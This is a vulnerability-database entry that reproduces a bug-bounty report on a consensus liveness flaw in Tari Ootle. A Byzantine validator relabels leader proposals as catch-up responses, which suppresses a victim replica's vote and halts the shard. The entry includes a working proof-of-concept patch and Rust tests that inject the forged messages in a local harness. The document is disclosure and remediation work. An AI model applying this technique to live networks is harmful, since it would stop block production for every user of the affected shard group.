
Cloud Vulnerability DB
A community-led vulnerabilities database
A single Byzantine committee member (< 1/3) can halt a shard group indefinitely. It relays the leader's genuine live proposal to other replicas as an unsolicited CatchUpSyncResponse. The block is imported with ProposalOrigin::CatchUp, and the catch-up no-vote rule (#3095) then skips the vote on the unchecked assumption that the block is already certified. When the leader's own copy arrives it is treated as already processed, so the replica never votes. Combined with the attacker withholding its own vote, quorum is never reached (n=4: 2 of 3 required votes). Local PoC: 0 commits in 45 s, versus normal commits in a control run with only the withheld vote. Severity: High (liveness, no safety or fund loss).
Contest: Ootle Security Bug Hunt (community.tari.com/t/397). Target: development @ 999af5727e497d4498a0cd8f29eec04c93ed97cc.
Payout address (XTM): 12MLjJvxVwMKndBm6TbDJzR2NBEr1hpgKrruomaY3C8vngRtgys54Sy7FyytgzTccs56Ecf6nzFKfvZUtrAftapNb39
CatchUpSyncResponse is accepted from any local committee member, with no check that a catch-up request is outstanding and no check that the carried block is already certified. The block is then imported with ProposalOrigin::CatchUp, and the catch-up no-vote rule (#3095) skips voting on it on the assumption that "the committee has already certified it". Nothing verifies that assumption.
crates/consensus/src/hotstuff/on_message_validate.rs:124-134: CatchUpSyncResponse is admitted from any local committee member. process_catch_up_response (:394-424) imports the proposal without checking for an open request or a QC above the block.crates/consensus/src/hotstuff/on_inbound_message.rs:735: catch-up responses bypass the view filter, so they are processed at once, even for the current view.crates/consensus/src/hotstuff/worker.rs:1651-1654: the block is handled with ProposalOrigin::CatchUp.crates/consensus/src/hotstuff/on_receive_local_proposal.rs:520-529: no vote when the origin is catch-up. At :197-214, a block that is already stored is a no-op, so the leader's own copy arriving later never triggers the vote either.crates/state_store_rocksdb/src/writer.rs:~325-336: parked_blocks_insert overwrites the origin of an already-parked block with CatchUp. If the replica parked the leader's copy (missing transactions), the block later unparks without a vote. This variant is deterministic and needs no race.CatchUpSyncResponse(P) to the other replicas. P is genuinely signed by L, so check_local_proposal passes.Treat a catch-up block as certified only when that is proven:
CatchUpSyncResponse only against an open catch-up request with an expected height range, and/orGHSA-95xj-f7cc-px8c uses the same unsolicited CatchUpSyncResponse entry point. It claims only parked-block storage growth and states "No ... consensus halt ... is claimed". This report has a different root cause (vote suppression through the ProposalOrigin mislabel) and a different result (a liveness halt). The behaviour only exists since #3095, whose tests cover only honest catch-up servers. No open issue or PR covers it.
Local, offline test in consensus_tests. The patch below (applies cleanly with patch -p1 at 999af572) adds:
MessageInjector hook to the test network (support/network.rs, support/harness.rs), so a Byzantine member can send forged messages;src/catch_up_relay_halt.rs with two tests in a 4-validator committee, where validator "4" is the attacker and "2" is the victim.
Run:patch -p1 < poc-catch-up-relay.patch
cargo test -p consensus_tests --lib catch_up_relay_haltObserved result:
control OK: 3 commits, victim voted on 3 blocks
test catch_up_relay_halt::control_withholding_one_vote_still_commits ... ok
commit events: 0, catch-up blocks relayed to victim: 7, victim votes: 14, votes on relayed blocks: [], attacker vote messages seen: 27
test catch_up_relay_halt::catch_up_relay_from_one_member_halts_committee ... ok
test result: ok. 2 passed; 0 failed🌐 Not voting on ... catch-up for each of them. The victim's 14 votes are all on other blocks.--- a/crates/consensus_tests/src/support/network.rs
+++ b/crates/consensus_tests/src/support/network.rs
@@ -33,11 +33,16 @@
};
pub type MessageFilter = Box<dyn Fn(&TestAddress, &TestAddress, &HotstuffMessage) -> bool + Sync + Send + 'static>;
+/// Returns messages to deliver to `to` (with their apparent sender) immediately before the original message.
+/// Models a peer that relays copies of what it sees.
+pub type MessageInjector =
+ Box<dyn Fn(&TestAddress, &TestAddress, &HotstuffMessage) -> Vec<(TestAddress, HotstuffMessage)> + Sync + Send + 'static>;
pub fn spawn_network(
channels: Vec<ValidatorChannels>,
shutdown_signal: ShutdownSignal,
message_filter: Option<MessageFilter>,
+ message_injector: Option<MessageInjector>,
) -> TestNetwork {
let tx_new_transactions = channels
.iter()
@@ -83,6 +88,7 @@
offline_destinations: offline_destinations.clone(),
shutdown_signal,
message_filter,
+ message_injector,
}
.spawn();
@@ -222,6 +228,7 @@
offline_destinations: Arc<RwLock<Vec<TestAddress>>>,
shutdown_signal: ShutdownSignal,
message_filter: Option<MessageFilter>,
+ message_injector: Option<MessageInjector>,
}
impl TestNetworkWorker {
@@ -337,6 +344,11 @@
if to != from && self.is_offline_destination(&from, &to).await {
continue;
}
+ if let Some(injector) = &self.message_injector {
+ for (inj_from, inj_msg) in injector(&from, &to, &msg) {
+ let _ = self.tx_hs_message.get(&to).unwrap().send((inj_from, inj_msg)).await;
+ }
+ }
if self
.tx_hs_message
@@ -367,6 +379,11 @@
return;
}
log::debug!("✉️ Message {} sent from {} to {}", msg, from, to);
+ if let Some(injector) = &self.message_injector {
+ for (inj_from, inj_msg) in injector(&from, &to, &msg) {
+ let _ = self.tx_hs_message.get(&to).unwrap().send((inj_from, inj_msg)).await;
+ }
+ }
self.on_message.send(Some(msg.clone())).unwrap();
self.num_sent_messages
.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
--- a/crates/consensus_tests/src/support/harness.rs
+++ b/crates/consensus_tests/src/support/harness.rs
@@ -54,6 +54,7 @@
use super::{
MessageFilter,
+ MessageInjector,
NetworkSendObserver,
TEST_NUM_PRESHARDS,
TEST_WASM_EXECUTION_POINTS,
@@ -683,6 +684,7 @@
rocks_path: Option<String>,
timeout: Option<Duration>,
message_filter: Option<MessageFilter>,
+ message_injector: Option<MessageInjector>,
send_observer: Option<NetworkSendObserver>,
failure_nodes: Vec<TestAddress>,
config: HotstuffConfig,
@@ -700,6 +702,7 @@
timeout: Some(DEFAULT_PACEMAKER_BLOCK_TIME * 3),
rocks_path: None,
message_filter: None,
+ message_injector: None,
send_observer: None,
failure_nodes: Vec::new(),
claim_keys: None,
@@ -803,6 +806,11 @@
self
}
+ pub fn with_message_injector(mut self, message_injector: MessageInjector) -> Self {
+ self.message_injector = Some(message_injector);
+ self
+ }
+
pub fn with_message_filter(mut self, message_filter: MessageFilter) -> Self {
self.message_filter = Some(message_filter);
self
@@ -914,7 +922,7 @@
shutdown.to_signal(),
)
.await;
- let network = spawn_network(channels, shutdown.to_signal(), self.message_filter);
+ let network = spawn_network(channels, shutdown.to_signal(), self.message_filter, self.message_injector);
Test {
validators,
--- a/crates/consensus_tests/src/lib.rs
+++ b/crates/consensus_tests/src/lib.rs
@@ -5,6 +5,8 @@
#[cfg(test)]
mod catch_up_on_proposal_ahead;
#[cfg(test)]
+mod catch_up_relay_halt;
+#[cfg(test)]
mod catch_up_rewind;
#[cfg(test)]
mod consensus;
--- /dev/null
+++ b/crates/consensus_tests/src/catch_up_relay_halt.rs
@@ -0,0 +1,186 @@
+// Copyright 2026 The Tari Project
+// SPDX-License-Identifier: BSD-3-Clause
+
+//! One Byzantine committee member relays every live proposal as an unsolicited catch-up response, which
+//! suppresses the receiving replica's vote, and withholds its own vote. With n = 4 (quorum 3, f = 1) this
+//! halts the committee.
+//!
+//! Control test: withholding the Byzantine member's votes alone does NOT halt the committee.
+
+use std::{
+ collections::HashSet,
+ sync::{Arc, Mutex},
+ time::{Duration, Instant},
+};
+
+use tari_consensus::messages::HotstuffMessage;
+use tari_consensus_types::{BlockId, Decision};
+use tari_ootle_common_types::{Epoch, NodeHeight};
+
+use crate::support::{Test, TestAddress, logging::setup_logger};
+
+#[derive(Default, Debug)]
+struct Observed {
+ votes_by_victim: HashSet<BlockId>,
+ victim_catch_up_blocks: HashSet<BlockId>,
+ attacker_vote_messages: usize,
+}
+
+fn attacker() -> TestAddress {
+ TestAddress::new("4")
+}
+
+fn victim() -> TestAddress {
+ TestAddress::new("2")
+}
+
+fn message_filter(observed: Arc<Mutex<Observed>>) -> crate::support::MessageFilter {
+ let attacker = attacker();
+ let victim = victim();
+ Box::new(move |from, _to, msg| {
+ let mut o = observed.lock().unwrap();
+ match msg {
+ HotstuffMessage::Vote(v) if *from == victim => {
+ o.votes_by_victim.insert(v.vote.block_id);
+ },
+ HotstuffMessage::Vote(_) | HotstuffMessage::NewView(_) if *from == attacker => {
+ o.attacker_vote_messages += 1;
+ return false;
+ },
+ _ => {},
+ }
+ true
+ })
+}
+
+/// Delivers the attacker's copy of every proposal to the victim as a catch-up response, just before the
+/// leader's own copy arrives.
+fn catch_up_relay_injector(observed: Arc<Mutex<Observed>>) -> crate::support::MessageInjector {
+ let attacker = attacker();
+ let victim = victim();
+ Box::new(move |from, to, msg| {
+ if *to != victim || *from == attacker || *from == victim {
+ return Vec::new();
+ }
+ if let HotstuffMessage::Proposal(proposal) = msg {
+ let block_id = *proposal.block.id();
+ observed.lock().unwrap().victim_catch_up_blocks.insert(block_id);
+ vec![(
+ attacker.clone(),
+ HotstuffMessage::new_catch_up_sync_response((**proposal).clone()),
+ )]
+ } else {
+ Vec::new()
+ }
+ })
+}
+
+async fn build_test(
+ inject_relay: bool,
+) -> (Test, Arc<Mutex<Observed>>) {
+ let observed = Arc::new(Mutex::new(Observed::default()));
+ let mut builder = Test::builder()
+ .with_test_timeout(Duration::from_secs(180))
+ .modify_consensus_constants(|c| {
+ c.pacemaker_block_time = Duration::from_secs(2);
+ c.missed_proposal_suspend_threshold = 50;
+ })
+ .with_message_filter(message_filter(observed.clone()))
+ .add_committee(0, vec!["1", "2", "3", "4"]);
+ if inject_relay {
+ builder = builder.with_message_injector(catch_up_relay_injector(observed.clone()));
+ }
+ let test = builder.start().await;
+ (test, observed)
+}
+
+/// Control: a single withheld vote (f = 1 of n = 4) must not stop consensus.
+#[tokio::test(flavor = "multi_thread", worker_threads = 4)]
+async fn control_withholding_one_vote_still_commits() {
+ setup_logger();
+ let (mut test, observed) = build_test(false).await;
+
+ for _ in 0..3 {
+ test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+ }
+ test.start_epoch(Epoch(1)).await;
+
+ let mut commits = 0;
+ while commits < 3 {
+ let (_, _, _, committed_height) = tokio::time::timeout(Duration::from_secs(90), test.on_block_committed())
+ .await
+ .expect(
+ "CONTROL FAILED: no commit within 90s with only one withheld vote - the exploit test would be \
+ meaningless",
+ );
+ assert!(committed_height > NodeHeight(0));
+ commits += 1;
+ }
+
+ let o = observed.lock().unwrap();
+ assert!(
+ !o.votes_by_victim.is_empty(),
+ "control premise: the victim must vote in a healthy network"
+ );
+ log::info!("control OK: {} commits, victim voted on {} blocks", commits, o.votes_by_victim.len());
+
+ test.stop();
+ test.assert_clean_shutdown().await;
+}
+
+/// Exploit: the attacker additionally relays each live proposal to the victim as a catch-up response, so the
+/// victim imports it without voting. One honest vote suppressed + the attacker's own withheld vote = 2 of 4,
+/// below quorum, forever.
+#[tokio::test(flavor = "multi_thread", worker_threads = 4)]
+async fn catch_up_relay_from_one_member_halts_committee() {
+ setup_logger();
+ let (mut test, observed) = build_test(true).await;
+
+ for _ in 0..3 {
+ test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+ }
+ test.start_epoch(Epoch(1)).await;
+
+ let start = Instant::now();
+ let mut commits = 0;
+ let mut last_tx = Instant::now();
+ while start.elapsed() < Duration::from_secs(45) {
+ if let Ok((_addr, _block, _epoch, height)) =
+ tokio::time::timeout(Duration::from_secs(5), test.on_block_committed()).await
+ {
+ log::warn!("UNEXPECTED COMMIT at height {height} despite the attack");
+ commits += 1;
+ break;
+ }
+ if last_tx.elapsed() > Duration::from_secs(10) {
+ let _ = test.send_transaction_to_all(Decision::Commit, 1, 2, 1).await;
+ last_tx = Instant::now();
+ }
+ }
+
+ let o = observed.lock().unwrap();
+ let overlap: Vec<_> = o.victim_catch_up_blocks.intersection(&o.votes_by_victim).collect();
+ log::info!(
+ "commit events: {commits}, catch-up blocks relayed to victim: {}, victim votes: {}, votes on relayed \
+ blocks: {overlap:?}, attacker vote messages seen: {}",
+ o.victim_catch_up_blocks.len(),
+ o.votes_by_victim.len(),
+ o.attacker_vote_messages
+ );
+
+ assert!(
+ !o.victim_catch_up_blocks.is_empty(),
+ "test premise: the attacker must have relayed at least one proposal as a catch-up response"
+ );
+ assert!(
+ overlap.is_empty(),
+ "the victim voted on {overlap:?} despite importing them through catch-up"
+ );
+ assert_eq!(
+ commits, 0,
+ "committee committed {commits} blocks under a single-member attack; expected a halt"
+ );
+
+ test.stop();
+ test.assert_clean_shutdown().await;
+}Liveness / denial of service against a whole shard group (Tier 1, consensus). Trigger: a single Byzantine committee member using only its own key, below the 1/3 bound and inside the contest trust model. It sends nothing invalid, only genuine leader-signed proposals relabelled as catch-up responses, one cheap message per proposal. Affected: every user and validator of the shard group. Block production stops for as long as the attacker continues, no transaction commits, and cross-shard transactions depending on the group stall. Nothing detects or penalises it. Safety is not affected: no conflicting commits or fund theft are claimed.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."